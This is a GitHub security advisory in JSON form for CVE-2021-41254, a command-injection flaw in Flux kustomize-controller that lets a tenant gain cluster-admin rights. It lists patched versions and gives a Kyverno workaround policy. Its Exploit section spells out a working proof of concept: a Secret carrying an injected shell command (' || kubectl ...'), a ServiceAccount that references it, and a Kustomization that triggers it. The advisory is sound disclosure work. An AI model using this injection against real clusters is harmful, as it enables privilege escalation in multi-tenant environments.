CVE-2021-41254: Github.com/fluxcd/kustomize controller Privilege Escalation To Cluster Admin Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-35rf-v2jv-gfg7",
  "modified" : "2021-11-12T18:57:27Z",
  "published" : "2021-11-15T17:35:33Z",
  "aliases" : [ "CVE-2021-41254" ],
  "summary" : "Privilege escalation to cluster admin on multi-tenant environments",
  "details" : "Users that can create Kubernetes Secrets, Service Accounts and Flux Kustomization objects, could execute commands inside the kustomize-controller container by embedding a shell script in a Kubernetes Secret. This can be used to run `kubectl` commands under the Service Account of kustomize-controller, thus allowing an authenticated Kubernetes user to gain cluster admin privileges.\n\n### Impact\n\nMultitenant environments where non-admin users have permissions to create Flux Kustomization objects are affected by this issue.\n\n### Exploit \n\nTo exploit the command injection, first we create a secret with a shell command:\n\n```sh\nkubectl create secret generic exploit-token --from-literal=token=\" || kubectl api-versions\"\n```\n\nThen we create a Service Account that refers to the above Secret:\n\n```yaml\napiVersion: v1\nkind: ServiceAccount\nmetadata:\n  name: exploit\n  namespace: default\nautomountServiceAccountToken: false\nsecrets:\n- name: exploit-token\n```\n\nAnd finally a Kustomization that runs under the above Service Account:\n\n```yaml\napiVersion: kustomize.toolkit.fluxcd.io/v1beta1\nkind: Kustomization\nmetadata:\n  name: exploit\n  namespace: default\nspec:\n  interval: 5m\n  path: \"./deploy/\"\n  sourceRef:\n    kind: GitRepository\n    name: app\n  serviceAccountName: exploit\n```\n\nWhen kustomize-controller reconciles the above Kustomization, it will execute the shell command from the secret.\n\n### Patches\n\nThis vulnerability was fixed in kustomize-controller v0.15.0 (included in flux2 v0.18.0) released on 2021-10-08. Starting with v0.15, the kustomize-controller no longer executes shell commands on the container OS and the `kubectl` binary has been removed from the container image.\n\n### Workarounds\n\nTo prevent the creation of Kubernetes Service Accounts with `secrets` in namespaces owned by tenants, a Kubernetes validation webhook such as Gatekeeper OPA or Kyverno can be used.\n\n```yaml\napiVersion: kyverno.io/v1\nkind: ClusterPolicy\nmetadata:\n  name: restrict-sa\nspec:\n  validationFailureAction: enforce\n  background: false\n  rules:\n    - name: validate-sa\n      match:\n        resources:\n          kinds:\n            - ServiceAccount\n          namespaces:\n            - tenant1\n            - tenant2\n        subjects:\n          - kind: User\n            name: some@tenant1.com\n          - kind: User\n            name: some@tenant2.com\n          - kind: ServiceAccount\n            name: kustomize-controller\n            namespace: flux-system\n          - kind: ServiceAccount\n            name: helm-controller\n            namespace: flux-system\n      validate:\n        message: \"Invalid service account\"\n        pattern:\n          X(secrets): \"*?\"\n```\n\n### References\n\nDisclosed by ADA Logics in a security audit of the Flux project sponsored by CNCF and facilitated by OSTIF.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [kustomize-controller repository](http://github.com/fluxcd/kustomize-controller)\n\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/fluxcd/kustomize-controller"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.15.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/fluxcd/kustomize-controller/security/advisories/GHSA-35rf-v2jv-gfg7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2021-41254"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/fluxcd/kustomize-controller"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2021-11-12T18:57:27Z",
    "nvd_published_at" : "2021-11-12T18:15:00Z"
  }
}